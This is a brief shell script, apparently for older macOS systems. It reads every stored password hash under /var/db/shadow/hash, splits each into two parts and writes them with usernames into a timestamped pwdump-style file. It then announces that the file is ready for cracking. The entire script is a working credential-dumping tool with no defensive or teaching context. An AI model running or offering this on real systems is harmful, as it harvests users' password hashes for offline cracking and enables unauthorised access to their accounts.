#!/bin/sh
dte=`date "+%y%m%d%H%M%S"`
for i in `ls /var/db/shadow/hash | grep -v state`
do
        #echo file is $i
        uzr=$i
        first=`cat /var/db/shadow/hash/$i | cut -c 1-32`
        second=`cat /var/db/shadow/hash/$i | cut -c 33-64`
        echo "$uzr":"$first":"$second":::: >> shadow."$dte"
done
echo the file for cracking is shadow."$dte"
